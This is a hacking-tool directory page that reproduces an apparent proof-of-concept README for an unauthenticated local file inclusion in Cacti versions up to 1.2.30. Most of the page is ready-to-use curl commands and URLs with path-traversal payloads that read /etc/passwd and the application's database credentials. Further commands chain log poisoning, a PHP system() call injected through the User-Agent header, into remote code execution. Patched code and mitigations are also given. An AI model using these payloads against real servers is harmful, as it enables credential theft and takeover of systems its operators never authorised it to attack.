Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/polosss/by-poloss..-..cve-2026-39938
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubpolosss/by-poloss..-..cve-2026-39938

By-Poloss..-..CVE-2026-39938

Share

Proof-of-concept exploit for CVE-2026-39938: unauthenticated local file inclusion in Cacti <= 1.2.30, enabling arbitrary file read and remote code execution via log poisoning.

View Repository
244 months agoNot yet reviewed

CVE-2026-39938: Cacti <= 1.2.30 - Unauthenticated LFI

Executive Summary

FieldValue
CVE IDCVE-2026-39938
CVSS Score9.8 (Critical)
Affected ProductCacti
Affected Versions<= 1.2.30
Patched Version1.2.31
Fix Commit9871f0c

Vulnerability Details

Root Cause

The vulnerability exists in lib/rrd.php where the graph_theme parameter is used directly without sanitization:

VULNERABLE CODE:

if (isset($graph_data_array['graph_theme'])) {
    $rrdtheme = $config['base_path'] . '/include/themes/' . $graph_data_array['graph_theme'] . '/rrdtheme.php';
}

PATCHED CODE:

if (isset($graph_data_array['graph_theme'])) {
    $theme = basename($graph_data_array['graph_theme']);
    if ($theme === '' || $theme === '.' || $theme === '..') {
        $theme = get_selected_theme();
    }
    $rrdtheme = $config['base_path'] . '/include/themes/' . $theme . '/rrdtheme.php';
}

The issue: No validation against ../ path traversal sequences, allowing attackers to read arbitrary files without authentication.


Proof of Concept (PoC) - Simple Steps

Step 1: Verify Vulnerability - Read /etc/passwd

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd"

Result: Contents of /etc/passwd will be displayed in the response.

Step 2: Read Database Configuration

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php"

Result: Database credentials (username, password) will be exposed.

Step 3: Remote Code Execution via Log Poisoning

3.1 Inject PHP Code into Apache Log

curl -k -s "http://target-cacti/graph_image.php?local_graph_id=1" \
  -H "User-Agent: <?php system('id'); ?>"

3.2 Execute the Code by Including Log File

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log"

Result: Command output (e.g., uid=33(www-data)) will be displayed.


Common Endpoints Tested

EndpointParameterPayload Example
/graph_image.phpgraph_theme../../../../../../../etc/passwd
/graph_image.phpgraph_theme../../../../include/config.php
/graph_image.phpgraph_theme../../../../../../../var/log/apache2/access.log

PoC URL Examples

Basic LFI Test

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd

Read Application Config

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php

Log Poisoning (Injection)

http://target-cacti/graph_image.php?local_graph_id=1

With Header: User-Agent: <?php system('id'); ?>

Log Poisoning (Execution)

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log

Remediation

Update to Patched Version

cd /var/www/html/cacti
git fetch --tags
git checkout tags/release/1.2.31

Verify Patch Applied

grep -A 5 "if (isset(\$graph_data_array\['graph_theme'\]))" lib/rrd.php | grep basename

Temporary Mitigation (.htaccess)

RewriteCond %{QUERY_STRING} (^|&)graph_theme=\.\./ [NC]
RewriteRule ^graph_image\.php$ - [F,L]

References

  • GitHub Security Advisory
  • Patch Commit 9871f0c
  • NVD CVE-2026-39938

W.P.E.F

  • W.P.E.F Telegram chanel #1
  • W.P.E.F Telegram chanel #2

Report generated for security research purposes Date: June 27, 2026

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    602
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    392
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    319
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    293
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    AI powered OSINT engine to discover and map 7,700+ social media identities across the web

    253

Explore all tools

Browse our collection of tools

View all tools →